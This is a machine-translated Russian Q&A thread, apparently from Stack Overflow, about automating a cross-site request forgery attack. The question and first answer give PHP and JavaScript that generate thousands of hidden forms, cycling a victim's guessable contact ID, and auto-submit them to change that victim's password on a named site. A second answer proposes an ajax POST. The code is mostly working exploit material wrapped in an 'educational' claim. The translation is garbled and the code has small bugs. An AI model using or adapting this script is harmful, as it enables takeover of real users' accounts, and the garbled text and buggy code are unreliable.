Отправка несколько форм на внешний веб-сервер через сообщение

Question

Для того, чтобы объяснить, что я пытаюсь сделать, вот некоторые факты:

• www.testsite.com не CSRF защищен и можно злоумышленник измените пароль жертвы, если он знает адрес электронной почты жертвы и его уникальный контакт.
• Каждый новый пользователь получает новый идентификатор, просто увеличивая число с 1. На данный момент есть только 3000 contactID; так что означает 1,2,3,4,5,6 -> 3000.
• Если злоумышленники знают электронное письмо жертвы, он может просто продолжать гадать contactID (максимально 3000), а затем он может изменить Это. Я хочу сделать это автоматически.

- Я пытаюсь создать PHP-скрипт, чтобы узнать больше о коде и показать, насколько это просто. Я не злой хакер или что-то близко.

Поэтому я решил, что могу просто использовать цикл, который автоматически увеличивает контактные идентификаторы, а затем отправляет данные на сайт www.testsite.com. Проблема заключается в том, что не отправляет все запросы POST (с ContactId = 1 и еще один с ContactId = 2 и т.д.) ... Вот мой код:

<?php 

echo "I set the password to 'stackoverflow'. <br/>"; 

$mailadres = 1; //startvalue to remove that undefined index php error. 

if (isset($_GET['mailadres'])){ //i hate undefined errors 
    $mailadres = $_GET['mailadres']; 
} 

if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET 
echo "usage: ./csrf.php?mailadres=victim@gmail.com <br/>"; 
} 


$contactid = 1; //We begin with one.... 


while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment. 

    echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'> 
       <input type='hidden' name='contactid' value='{$contactid}'> 
       <input type='hidden' name='something' value='something'> 
       <input type='hidden' name='mailadres'' value='{$mailadres}'> 
       <input type='hidden' name='changepassword' value='stackoverflow'> 
      </form> 
      <script>document.csrf.submit();</script>"; 
    $contactid ++; //increment in order to post every contactID. 

} 


?> 

Мой вопрос: Как сделать PHP отправьте все эти формы (contactid = 1 & contactid = 2)

Answer 1

Возможно, для любых будущих людей, как испытать ту же проблему. Наконец, я исправил это. Не понимал ничего, что люди говорили здесь, но интернет большой. Я хотел представить + 3000 форм, так что да, это так. Было так.

<?php 
$id = 1; //start with one ('till 2060) 
while ($id <= 2060) { 
echo 
" 
<form target='reset' action='http://www.testsite.com/submit.php' id='$id' method='POST'> 
       <input type='hidden' name='contactid' value='{$contactid}'> 
       <input type='hidden' name='something' value='something'> 
       <input type='hidden' name='mailadres'' value='{$mailadres}'> 
       <input type='hidden' name='changepassword' value='stackoverflow'> 
</form> 
"; 
$id ++; 

} 


?> 

И тогда я позволяю Javascript представить все:

<script> 
function myFunction() { 
    setTimeout(function(){ document.getElementById('1').submit();}, 1000); 
    setTimeout(function(){ document.getElementById('2').submit();}, 1500); 
    setTimeout(function(){ document.getElementById('3').submit();}, 2000); 
    setTimeout(function(){ document.getElementById('4').submit();}, 2500);  etc.etc.etc.; 
</script> 

бы представить 3000 запросов, так что я написал небольшую программу для автоматического увеличения getElementById и приращение SetTimeout (только времени петля).

Надеюсь, что это работает для yall!

Answer 2

Во-первых, вам нужно избавиться от действия, метода и т. Д. В форме. Пусть это будет просто, как показано ниже:

<form id="form1"> 
..... 
</form> 

Тогда вы должны дать, если для элементов, дают такое же имя дано как в «имя». Например видеть, как

<input type='hidden' name='contactid' id='contactid' value='{$contactid}'> 

Тогда есть кнопка с OnClick() и вызвать функцию, как

<button id="button1" onclick="postData()">PostData</button> 

то есть функция, как этот

function postData(d1, d2, d3, d4) { 
$.ajax({ 
    url: 'http://www.testsite.com/submit.php', 
    data: { 
     data1: d1, 
     data2: d2, 
     data3: d3, 
     data4: d4 
    }, 
    type: 'POST', 
    success: function(result) { 
     //code for success 
    }, 
    error: function(jqXHR, textStatus, errorThrown) { 
     //code in case of error 
    } 
}); 
} 

Всякий раз, когда происходит нажатие кнопки , вы автоматически отправляете данные на указанный URL-адрес.

Надеюсь, что это поможет ...